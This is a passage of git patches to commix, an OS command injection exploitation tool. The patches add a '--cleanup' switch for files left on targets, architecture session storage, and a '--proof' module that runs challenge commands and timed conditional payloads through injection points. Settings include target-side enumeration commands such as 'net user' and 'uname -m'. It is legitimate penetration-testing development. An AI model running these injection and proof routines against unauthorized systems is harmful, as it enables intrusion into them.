ReReadableResponse(response, body) if retried is None or isinstance(retried, bool): return ReReadableResponse(response, body) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 68900985a6..46449bb249 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re import json import socket from src.thirdparty.six.moves import urllib as _urllib @@ -23,18 +22,6 @@ from src.utils import settings from src.core.requests import proxy -""" -Check if Tor HTTP proxy is defined. -""" - -def tor_connection_error(): - err_msg = "Could not establish a Tor connection. " - err_msg += "Please ensure Tor is running and reachable" - err_msg += " and that any provided options (e.g. '--tor-port') are correct." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise SystemExit(settings.EXIT_FAILURE) - - # The first of the given ports that something on the loopback address is listening on. def find_local_port(ports): for port in ports: diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 339452db95..1835de6d9b 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -839,6 +839,47 @@ def restore_target_os(url): info_msg += ("Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like") + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) +""" +Store the hardware platform the target answered with, in a table of its own - an existing session's +'_os' table would not gain a column, so the two are kept apart. +""" +def import_target_arch(url, target_arch): + try: + with _session_connection() as conn: + table = table_name(url) + "_arch" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (target_arch VARCHAR);") + conn.execute("DELETE FROM \"" + table + "\";") + conn.execute("INSERT INTO \"" + table + "\" (target_arch) VALUES (?)", (str(target_arch),)) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + +""" +Retrieve the hardware platform stored for this target. Returns None where nothing is stored yet. +""" +def check_stored_target_arch(url): + try: + with _session_connection() as conn: + table = table_name(url) + "_arch" + if not table_exists(conn, table): + return None + row = conn.execute("SELECT target_arch FROM \"" + table + "\" LIMIT 1;").fetchone() + return row[0] if row else None + except (sqlite3.OperationalError, sqlite3.DatabaseError): + return None + +""" +Restore a stored hardware platform, so what the target already answered is not asked for again. +""" +def restore_target_arch(url): + if menu.options.ignore_session or menu.options.flush_session: + return + if settings.TARGET_ARCH: + return + stored = check_stored_target_arch(url) + if stored and stored != "None": + settings.TARGET_ARCH = stored + """ Store a confirmed testable-value placeholder, so a resumed session can reuse it instead of re-probing whether the parameter's real value is required. diff --git a/src/utils/settings.py b/src/utils/settings.py index c09666c6bf..c6887f98ae 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "158" +REVISION = "159" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -891,6 +891,15 @@ class OS(object): RECOGNISE_HP = "uname -m" WIN_RECOGNISE_HP = "echo %PROCESSOR_ARCHITECTURE%" +# What the target answered the hardware platform question with, kept as it came back. +TARGET_ARCH = "" + +""" +The word sizes a hardware platform name stands for, whichever way the target spells it. +""" +ARCH_64 = ("x86_64", "amd64", "x64", "aarch64", "arm64", "ppc64", "ppc64le", "s390x", "riscv64", "ia64", "sparc64", "mips64") +ARCH_32 = ("i386", "i486", "i586", "i686", "x86", "armv6l", "armv7l", "arm", "ppc", "s390", "mips", "sparc") + # File System access options # Read file FILE_READ = "cat " @@ -918,7 +927,6 @@ class OS(object): # Exports users of localgroup WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)]))" -DEFAULT_WIN_USERS = ["Administrator", "DefaultAccount", "Guest"] # What the target says instead of a list when the account running it may not ask for one. Seeing a # built-in name is not the test - they can be renamed or removed - so this is what tells a refusal @@ -1180,7 +1188,6 @@ class RetryTechniqueException(Exception): # TOR HTTP Proxy TOR_HTTP_PROXY_IP = "127.0.0.1" TOR_HTTP_PROXY_PORT = "8118" -CHECK_TOR_PAGE = "https://check.torproject.org/" # Answered as JSON, so that what is read back is a stated fact rather than a phrase on a page. CHECK_TOR_API_PAGE = "https://check.torproject.org/api/ip" @@ -1799,7 +1806,6 @@ class END_LINE: ESCAPED_LF = "\\n" # List of end lines -END_LINES_LIST = [attr for attr in dir(END_LINE) if not callable(getattr(END_LINE, attr)) and not attr.startswith("__")] # Check for updates on start up. CHECK_FOR_UPDATES_ON_START = True From be550742cb5cdeef65ee21467b69db913d7ddcbd Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 24 Sep 2026 09:39:34 +0300 Subject: [PATCH 0823/1023] Added new switch `--cleanup` for removing the file a technique left on the target, without being asked about it --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 9 +++++++++ src/core/controller/handler.py | 13 ++++++++++--- src/core/parse/cmdline.py | 6 ++++++ src/utils/settings.py | 2 +- 5 files changed, 27 insertions(+), 4 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index eb5de0d3f9..dd672521bb 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New switch `--cleanup` for removing the file a technique left on the target, without being asked about it. * Revised: The shellshock module is now selected with `--module`, which takes the name of any registered injection module. * Improved: Enhanced HTTP error handling and response stability detection, with clearer handling of target-side errors, unstable content, and non-testable HTTP responses. * Improved: Replaced the `base64encode.py` and `hexencode.py` tamper scripts with the new `--param-encoding` option for handling encoded parameter values. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index fe98c962bb..4ec4023ee9 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -4903,6 +4903,15 @@ def announce_leftover_file(technique): if written not in settings.LEFTOVER_FILES: settings.LEFTOVER_FILES.append(written) +""" +Drop a file from the leftovers, once it has actually been taken off the target - otherwise the run +ends by naming a file it has just removed. +""" +def forget_leftover_file(name): + for left in list(settings.LEFTOVER_FILES): + if left == name or left.endswith("/" + name) or left.endswith("\\" + name): + settings.LEFTOVER_FILES.remove(left) + """ Finalize injection process """ diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 7474f3f293..70dd2fa551 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -172,9 +172,11 @@ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_reque info_msg = "The file ('" + OUTPUT_TEXTFILE + "') used for command execution was already deleted from the target." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return - msg = "Do you want to delete from the target the file ('" + OUTPUT_TEXTFILE + "') used for command execution? [y/N] " - if common.read_input(msg, default="N", check_batch=True) not in settings.CHOICE_YES: - return + # '--cleanup' is the answer already given: the file goes without being asked about. + if not menu.options.cleanup: + msg = "Do you want to delete from the target the file ('" + OUTPUT_TEXTFILE + "') used for command execution? [y/N] " + if common.read_input(msg, default="N", check_batch=True) not in settings.CHOICE_YES: + return if settings.VERBOSITY_LEVEL != 0: debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -198,6 +200,7 @@ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_reque settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return session_handler.mark_file_deleted(url, technique, vuln_parameter, http_request_method) + checks.forget_leftover_file(OUTPUT_TEXTFILE) """ @@ -305,6 +308,10 @@ def cleanup(): # Registered here, actually asked/run later at quit(). settings.PENDING_FILE_CLEANUPS[OUTPUT_TEXTFILE] = lambda: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + # Registered on the way in, not only where the shell loop ends - a run that never opened one still + # put the file there, and the shell offer being declined is not a reason to leave it behind. + cleanup() + # Run one command through the confirmed injection point, reusing a stored answer where there is one. def execute_cmd(cmd): time.sleep(timesec) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 3f54605c64..d8b0500215 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -905,6 +905,12 @@ def banner(): default=False, help="Disable logging to a file.") +misc.add_option("--cleanup", + action="store_true", + dest="cleanup", + default=False, + help="Clean up the target from files commix left on it.") + misc.add_option("--purge", action="store_true", dest="purge", diff --git a/src/utils/settings.py b/src/utils/settings.py index c6887f98ae..a7859c3b4b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "159" +REVISION = "160" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 97c7cc3a12602ef5298b78b6866271df64ec0caa Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 24 Sep 2026 10:00:36 +0300 Subject: [PATCH 0824/1023] Moved text resources to data/txt, added post-detection summaries of the command shell, web technology, and operating system, and introduced --proof for recording exploitation evidence for each injection point --- {src => data}/txt/default_passwords.txt | 0 {src => data}/txt/default_usernames.txt | 0 {src => data}/txt/mobile-user-agents.txt | 0 {src => data}/txt/shocker-cgi_list.txt | 0 {src => data}/txt/user-agents.txt | 0 doc/CHANGELOG.md | 3 + setup.py | 6 +- src/core/controller/checks.py | 42 +++- src/core/controller/controller.py | 24 +- src/core/controller/handler.py | 9 + src/core/controller/proof.py | 294 ++++++++++++++++++++++ src/core/main.py | 12 +- src/core/modules/shellshock/shellshock.py | 3 + src/core/parse/cmdline.py | 6 + src/core/requests/authentication.py | 2 +- src/core/requests/requests.py | 49 +++- src/txt/__init__.py | 18 -- src/utils/settings.py | 16 +- 18 files changed, 442 insertions(+), 42 deletions(-) rename {src => data}/txt/default_passwords.txt (100%) rename {src => data}/txt/default_usernames.txt (100%) rename {src => data}/txt/mobile-user-agents.txt (100%) rename {src => data}/txt/shocker-cgi_list.txt (100%) rename {src => data}/txt/user-agents.txt (100%) create mode 100644 src/core/controller/proof.py delete mode 100644 src/txt/__init__.py diff --git a/src/txt/default_passwords.txt b/data/txt/default_passwords.txt similarity index 100% rename from src/txt/default_passwords.txt rename to data/txt/default_passwords.txt diff --git a/src/txt/default_usernames.txt b/data/txt/default_usernames.txt similarity index 100% rename from src/txt/default_usernames.txt rename to data/txt/default_usernames.txt diff --git a/src/txt/mobile-user-agents.txt b/data/txt/mobile-user-agents.txt similarity index 100% rename from src/txt/mobile-user-agents.txt rename to data/txt/mobile-user-agents.txt diff --git a/src/txt/shocker-cgi_list.txt b/data/txt/shocker-cgi_list.txt similarity index 100% rename from src/txt/shocker-cgi_list.txt rename to data/txt/shocker-cgi_list.txt diff --git a/src/txt/user-agents.txt b/data/txt/user-agents.txt similarity index 100% rename from src/txt/user-agents.txt rename to data/txt/user-agents.txt diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index dd672521bb..cce6fcbd1d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,7 @@ ## Version 4.2 (TBA) +* Changed: Text resource files were moved from the `src/txt` to the `data/txt` directory. +* Added: Summary of the identified command shell, web application technology and operating system, printed after the injection point(s). +* Added: New switch `--proof` for demonstrating exploitation of each injection point found, with the evidence written beside the run's other output. * Added: New switch `--cleanup` for removing the file a technique left on the target, without being asked about it. * Revised: The shellshock module is now selected with `--module`, which takes the name of any registered injection module. * Improved: Enhanced HTTP error handling and response stability detection, with clearer handling of target-side errors, unstable content, and non-testable HTTP responses. diff --git a/setup.py b/setup.py index 16c653574b..b4e1950fea 100644 --- a/setup.py +++ b/setup.py @@ -30,9 +30,11 @@ }, license='GNU General Public License v3 (GPLv3)', python_requires='>=3.7', - packages=find_packages(), + # The data files live beside the code rather than inside it, so they are named here to be + # installed along with it. + packages=find_packages() + ["data", "data.txt"], include_package_data=True, - package_data={"": ["*.txt"]}, + package_data={"": ["*.txt"], "data.txt": ["*.txt", "*.tx_"]}, zip_safe=False, classifiers=[ 'Development Status :: 5 - Production/Stable', diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 4ec4023ee9..68d6059e2f 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -207,7 +207,12 @@ def process_injectable_value(payload, data): def remove_tags(data): if not data: data = "" - return data.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "") + data = data.replace(settings.INJECT_TAG,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "") + # The marker character is one only where the run found it in the user's own input - anywhere else + # it is an ordinary character, and a command such as "ls *.php" has to reach the target intact. + if settings.CUSTOM_INJECTION_MARKER is not None: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "") + return data """ Process data with custom injection marker character ('*') @@ -493,6 +498,10 @@ def quit(filename, url, hard_exit): for action_fn in list(settings.PENDING_POST_DETECTION_ACTIONS): action_fn() settings.PENDING_POST_DETECTION_ACTIONS = [] + # Asked for with '--proof': run after everything the detection had to say, so the evidence stands + # on its own rather than in the middle of the run's own reporting. + from src.core.controller import proof + proof.prove(filename, url) # Recurses into quit() when the shell exits; the rest runs there. if settings.PENDING_OS_SHELL_ENTRY: entry = settings.PENDING_OS_SHELL_ENTRY @@ -1525,6 +1534,36 @@ def finding_parameter_line(vuln_parameter, http_request_method): Print one block per row, grouped by parameter - rows start with (technique, injection_type, vuln_parameter, payload, http_request_method). """ +""" +What the target was worked out to be, said once and where the findings are. + +Only what is already in hand: every line here was settled by the requests detection had to send +anyway - the banners came back with the first response, and which shell answered is what a payload +that executed established. So nothing is asked of the target for it, and a line whose answer was +never learned is left out rather than filled in with a guess. +""" +def target_fingerprint_summary(): + # What the payloads were written for, and the one line of the three that a finding proves rather + # than a banner claims - so it leads, the way the rest of the run reports what it established. + technology = [] + if settings.SERVER_BANNER: + technology.append(" ".join(filter(None, (settings.SERVER_BANNER.split("/")[0], settings.SERVER_VERSION)))) + if settings.TARGET_APPLICATION: + technology.append(" ".join(filter(None, (settings.TARGET_APPLICATION, settings.TARGET_APPLICATION_VERSION)))) + shell_identified = settings.IDENTIFIED_TARGET_OS or menu.options.os + # The operating system is left to the enumeration that asks the target for it by name - said here + # it would only be the coarser of two answers to the same question. + if not technology and not shell_identified: + return + + settings.print_data_to_stdout( + settings.print_info_msg("Fetching the target environment.") + ) + if technology: + settings.print_data_to_stdout(settings.print_retrieved_data("Web application technology", ", ".join(technology))) + if shell_identified: + settings.print_data_to_stdout(settings.print_retrieved_data("command shell", target_shell_label())) + def _injection_points_summary(header_msg, rows, decode_payload=False): settings.print_data_to_stdout(Style.BRIGHT + header_msg + Style.RESET_ALL) prev_parameter = None @@ -1540,6 +1579,7 @@ def _injection_points_summary(header_msg, rows, decode_payload=False): payload = str(url_decode(payload)) for line in finding_summary_lines(technique, injection_type, payload): settings.print_data_to_stdout(line) + target_fingerprint_summary() """ Print a summary of the injection points restored from a stored session. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 85005162b1..9ee0133e0b 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -621,12 +621,14 @@ def check_parameter_in_http_header(check_parameter, place): return inject_http_headers """ -Warn if changing the parameter never changes the response; classic/dynamic_code require reflection. +Whether changing the parameter changes the response at all. + +Asked only where the answer decides something, which is under '--skip-static' alone: no technique +here reads a page by comparing it, so on every other run this would be a request per parameter +spent on a remark. """ def check_parameter_dynamism(url, http_request_method, check_parameter): - if settings.LOAD_SESSION or not settings.TESTABLE_VALUE: - return - if menu.options.tech and "r" not in menu.options.tech and "e" not in menu.options.tech: + if settings.LOAD_SESSION or not settings.TESTABLE_VALUE or not menu.options.skip_static: return marker = settings.TESTABLE_VALUE + settings.INJECT_TAG @@ -711,9 +713,10 @@ def _body(value): warn_msg = param_label + " does not appear to be dynamic." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = param_label + " appears to be dynamic." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Said plainly, not held back for '-v': the run asked for this check, so its answer is news + # either way. + info_msg = param_label + " appears to be dynamic." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True """ @@ -885,7 +888,7 @@ def read_value_as(description): is_dynamic = check_parameter_dynamism(url, http_request_method, check_parameter) if is_dynamic is False and menu.options.skip_static and not checks.explicitly_testable(check_parameter): - info_msg = "Skipping the parameter '" + check_parameter + "' that does not appear to be dynamic." + info_msg = "Skipping static parameter '" + check_parameter + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return @@ -1613,6 +1616,11 @@ def do_check(url, http_request_method, filename): untested = checks.untested_techniques() if untested: err_msg += " That would also test the " + untested + "." + # A client forced with '--oob-transport' that the target does not have answers nothing, which + # is the same silence a parameter that is not injectable produces. + if menu.options.oob_transport and settings.OOB_CHANNEL is not None and settings.OOB_STATE is not True: + err_msg += " Out-of-band testing was held to the '" + str(menu.options.oob_transport) + "' client by " + err_msg += "'--oob-transport' and nothing came back, which is also how a target without that client answers." if not menu.options.eval_sink: err_msg += " Code injection was not tested; the '--eval' option tests for it." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 70dd2fa551..e39846b37c 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -25,6 +25,7 @@ from src.utils import session_handler from src.core.requests import requests from src.core.controller import checks +from src.core.controller import proof from src.thirdparty.six.moves import urllib as _urllib from src.core.controller import shell_options from src.thirdparty.six.moves import html_parser as _html_parser @@ -342,6 +343,12 @@ def execute_cmd(cmd): shell = _stored_shell return shell + # The executor that reaches this point, kept for '--proof' to run its own experiment at the end. + # A technique that answers in time is given the boundary instead, so the proof can time one + # request of its own rather than the extraction wrapper built on top of it. + proof.register(technique, vuln_parameter, http_request_method, execute_cmd, + boundary=(separator, prefix, suffix, whitespace, url, timesec)) + return pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, separator=separator) """ @@ -745,6 +752,8 @@ def execute_cmd(cmd): session_handler.store_cmd(url, cmd, shell, vuln_parameter) return shell + # Reached without going through pseudo_terminal_shell(), so '--proof' is told about it here too. + proof.register(technique, vuln_parameter, http_request_method, execute_cmd) return pseudo_terminal_shell_generic(url, filename, technique, False, execute_cmd, separator=separator) """ diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py new file mode 100644 index 0000000000..e1a91b71c0 --- /dev/null +++ b/src/core/controller/proof.py @@ -0,0 +1,294 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import random +import string +import time + +from src.utils import settings +from src.core.parse import cmdline as menu + +""" +Evidence that the target really executed what was sent, rather than a restatement of what detection +already reported ('--proof'). + +Detection answers "does this parameter look injectable". A proof answers "run something only the +target could answer, and show the answer" - so each claim here is an experiment with a control and +a value drawn after the scan, which therefore cannot be sitting in a page, a cache or a reflection. +""" + +# One entry per technique that proved the point, with the executor that reaches it. +def register(technique, vuln_parameter, http_request_method, execute_cmd, boundary=None): + if not menu.options.proof: + return + for entry in settings.PROOF_EXECUTORS: + if entry[0] == technique and entry[1] == vuln_parameter: + return + # The executor reads settings.TIME_RELATED_ATTACK when it runs, and a technique found later + # changes it - so the value in force here is carried with it, as deferred actions do. + time_related = settings.TIME_RELATED_ATTACK + def run(cmd): + settings.TIME_RELATED_ATTACK = time_related + return execute_cmd(cmd) + settings.PROOF_EXECUTORS.append((technique, vuln_parameter, http_request_method, run, boundary)) + +""" +A label for a technique, said the way the rest of the run says it. +""" +def _name(technique): + from src.core.controller import checks + try: + name = checks.short_technique_label(technique).strip() + return name[:-len(" technique")] if name.endswith(" technique") else name + except Exception: + return str(technique) + +""" +A field, rendered the way the stored-session summary renders one. +""" +def _field(label, value): + if isinstance(value, list): + if not value: + return "" + head = value[0] + rest = ["%s%s" % (" " * 21, _) for _ in value[1:]] + return "\n".join(["%-20s %s" % (label + ":", head)] + rest) + return "%-20s %s" % (label + ":", value) + +""" +What the proof had to get through. On a filtered target this is the part that matters: the evidence +is worth more where the report also states that something was in the way and what carried data past it. +""" +def _evasion(): + lines = [] + if settings.WAF_ENABLED: + lines.append("protection detected in front of the application") + if settings.WAF_EVASION_APPLIED: + lines.append("evasion applied automatically for the identified target") + if menu.options.tamper: + lines.append("tamper scripts in effect: " + str(menu.options.tamper)) + blocked = sorted(code for code in settings.WARNED_HTTP_ERROR_CODES + if str(code) in settings.WAF_BLOCK_HTTP_CODES) + if blocked: + lines.append("statuses a protection returns, seen during the run: " + + ", ".join(str(_) for _ in blocked)) + if settings.ADAPTIVE_DELAY: + lines.append("requests were spaced out by %.1fs after the target asked for it" % settings.ADAPTIVE_DELAY) + elif menu.options.delay: + lines.append("requests were delayed by %.2fs each" % float(menu.options.delay)) + return lines + +""" +What the challenge cost, said only where it can be counted - not every technique sends through a +path the counter sees, and a confident "0 requests" would be worse than saying nothing. +""" +def _cost(started, elapsed): + sent = settings.TOTAL_OF_REQUESTS - started + if sent > 0: + return "spent: %d request%s, %.2fs" % (sent, "s"[sent == 1:], elapsed) + return "spent: %.2fs" % elapsed + +""" +Ask the target to work out something nobody could have written down in advance, and show what came +back. The operands are drawn here, after the scan, so the answer exists nowhere until it is computed. +""" +def _challenge(execute_cmd, technique): + first = random.randint(1000000, 9999999) + second = random.randint(1000000, 9999999) + expected = str(first + second) + marker = "".join(random.choice(string.ascii_uppercase) for _ in range(6)) + # Bracketed by a marker, so the answer cannot be mistaken for a number occurring anywhere else. + cmd = "echo " + marker + "$((" + str(first) + "+" + str(second) + "))" + marker + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = "set /a " + str(first) + "+" + str(second) + + started = settings.TOTAL_OF_REQUESTS + elapsed = time.time() + try: + answer = execute_cmd(cmd) + except Exception: + answer = "" + elapsed = time.time() - elapsed + answer = "".join(str(_) for _ in answer) if answer else "" + + carried = expected in answer + lines = ["the target must work out %d + %d = %s, drawn at random after the scan started" % (first, second, expected), + "(the product is in no page, cache or reflection - only something that executes could return it)", + "sent: " + cmd, + "answered: " + (answer.strip()[:120] if answer.strip() else "(nothing came back)"), + _cost(started, elapsed)] + return carried, expected, lines + +""" +A technique that answers in time cannot hand the product back without spelling it out a character at +a time, which costs a request per character. Asked as a question instead, it costs two: hold the +response back if a*b is the product, and do not if a*b is the product plus one. Answering both ways +round proves the target worked the arithmetic out - not merely that it can be made to wait. +""" +def _inferential_challenge(boundary, vuln_parameter, http_request_method, technique): + if not boundary: + return False, ["no boundary was kept for this point, so nothing could be asked of the target"] + separator, prefix, suffix, whitespace, url, timesec = boundary + from src.core.controller import execution + from src.core.requests import requests as _requests + from src.core.controller import checks + + base = int(timesec or menu.options.timesec or settings.TIMESEC) or 3 + payloads = execution.select_payloads_module(technique) + first = random.randint(1000000, 9999999) + second = random.randint(1000000, 9999999) + expected = first + second + + def _ask(target_value): + # The technique's own conditional-delay payload, sent as one request and timed by the same code + # that times every other one - not the extraction wrapper built on top of it. + if settings.TARGET_OS == settings.OS.WINDOWS: + payload = payloads.windows_condition_check(separator, str(first) + "+" + str(second), + target_value, base) + else: + condition = "$((" + str(first) + "+" + str(second) + ")) -eq " + str(target_value) + payload = payloads.condition_check(separator, condition, base, http_request_method) + if payload is None: + return None, None + exec_time = _requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, + http_request_method, url)[0] + return payload, exec_time + + started = settings.TOTAL_OF_REQUESTS + began = time.time() + true_payload, true_took = _ask(expected) + false_payload, false_took = _ask(expected + 1) + elapsed = time.time() - began + + if true_payload is None or false_payload is None: + return False, ["this technique has no conditional-delay payload for the identified target"] + + # The product must be the one that delays, and the product plus one must not - the pair is what + # rules out a target that is simply slow. + carried = checks.time_related_shell(true_took, base) and not checks.time_related_shell(false_took, base) + lines = ["the target must work out %d + %d and answer whether it is %d, drawn at random after the scan started" + % (first, second, expected), + "(the delay is the answer: held back where the product matches, returned at once where it does not)", + "matches: %.2fs" % true_took, + "does not: %.2fs" % false_took, + "(one request each, timed the way every other request in the run is)", + _cost(started, elapsed)] + return carried, lines + +""" +What an unmodified request costs, so the delays above are read against something. +""" +def _control_timing(): + if not settings.RESPONSE_TIMES: + return [] + average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) + return ["unmodified request: %.3fs on average over %d samples" % (average, len(settings.RESPONSE_TIMES))] + +""" +The control that rules out coincidence: the answer must not already be somewhere the run could have +read it without the target computing anything. +""" +def _control(expected): + lines = [] + page = settings.ORIGINAL_PAGE or "" + if page: + lines.append("the unmodified page does not contain the answer: " + + ("confirmed" if expected not in page else "NOT confirmed - it is already there")) + if settings.RESPONSE_TIMES: + average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) + lines.append("unmodified request: %.3fs on average over %d samples" % (average, len(settings.RESPONSE_TIMES))) + return lines + +""" +Render the proof for every point that was confirmed, then write it beside the run's other output. +""" +def prove(filename, url): + if not menu.options.proof or settings.PROOF_DONE or not settings.PROOF_EXECUTORS: + return + settings.PROOF_DONE = True + + info_msg = "Proving exploitation of the injection point(s) found." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # The URL reached at quit() carries the injection marker and whatever the WAF probe appended, so + # the target reported is the one that was asked for. + target = menu.options.url or url or "" + fields = [_field("Target", target)] + if settings.USER_DEFINED_POST_DATA: + fields.append(_field("Data", settings.USER_DEFINED_POST_DATA)) + if settings.TARGET_OS: + platform = "Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like" + if settings.TARGET_ARCH: + platform += " (" + settings.TARGET_ARCH + ")" + fields.append(_field("Back-end", platform)) + fields.append(_field("Verified", time.strftime("%Y-%m-%d %H:%M:%S"))) + + proven = 0 + for technique, vuln_parameter, http_request_method, execute_cmd, boundary in settings.PROOF_EXECUTORS: + # A technique that answers in time is proved on the clock; one that carries output is proved by + # what came back. + if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): + carried, challenge = _inferential_challenge(boundary, vuln_parameter, http_request_method, technique) + expected = None + else: + carried, expected, challenge = _challenge(execute_cmd, technique) + proven += int(carried) + fields.append("") + fields.append(_field("Parameter", str(vuln_parameter) + " (" + str(http_request_method) + ")")) + fields.append(_field("Technique", _name(technique))) + fields.append(_field("Challenge", challenge)) + control = _control(expected) if expected else _control_timing() + if control: + fields.append(_field("Control", control)) + if carried: + through = " through the protection in front of the application" if settings.WAF_ENABLED else "" + if expected: + verdict = ["PROVEN - the target executed what was sent and returned the result" + through] + else: + verdict = ["PROVEN - the target worked out the value and answered it through the delay" + through] + else: + verdict = ["NOT PROVEN - the answer did not come back through this technique"] + if settings.WAF_ENABLED: + verdict.append("a protection is interfering, so the point may be real with its output channel blocked") + verdict.append("=> re-test with '--tamper', then prove again") + else: + verdict.append("=> treat it as unconfirmed unless a side effect proves otherwise (e.g. '--os-shell')") + fields.append(_field("Verdict", verdict)) + + total = len(settings.PROOF_EXECUTORS) + if proven == total: + header = "commix proved exploitation of the following injection point(s)" + elif proven: + header = "commix proved exploitation of " + str(proven) + " of " + str(total) + " reported injection point(s)" + else: + header = "commix could NOT prove exploitation of the reported injection point(s)" + + data = "\n".join(_ for _ in fields if _ != "" or True) + settings.print_data_to_stdout(settings.END_LINE.LF + header + ":" + settings.END_LINE.LF + + "---" + settings.END_LINE.LF + data + settings.END_LINE.LF + + "---" + settings.END_LINE.LF) + try: + path = os.path.join(os.path.dirname(filename) or ".", "proof.txt") + with open(path, "w") as proof_file: + proof_file.write(header + ":" + settings.END_LINE.LF + "---" + settings.END_LINE.LF + + data + settings.END_LINE.LF + "---" + settings.END_LINE.LF) + info_msg = "Proof of exploitation written to '" + path + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + except OSError as err_msg: + from src.utils import logs + logs.write_failure(path, err_msg) + +# eof diff --git a/src/core/main.py b/src/core/main.py index 9dc4f1d685..7be02e0a99 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -726,8 +726,16 @@ def main(filename, url, http_request_method): ) try: try: - # Skip stability probing on resume unless content-reflection techniques ('r'/'e') are in scope. - if not settings.LIKELY_RESUME and (not menu.options.tech or "r" in menu.options.tech or "e" in menu.options.tech): + # The page the target answered with, kept off the response already in hand. + requests.capture_original_page(response) + """ + The second sample, and the regions it marks as moving on their own, are what a parameter + is compared against - so they are worth a request only where something compares one. + Nothing in the detection does: a technique reads its own output back out of the response, + and the comparison serves the dynamism check alone, which only decides anything under + '--skip-static'. + """ + if not settings.LIKELY_RESUME and menu.options.skip_static: requests.is_url_content_stable(settings.INIT_CONNECTION_URL or url, response, settings.INIT_CONNECTION_FETCH_TIME, http_request_method) info_msg = "Performing heuristic (passive) test on the target URL." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 1dba89dd15..3384bb7376 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -195,6 +195,9 @@ def _post_exploitation(url, 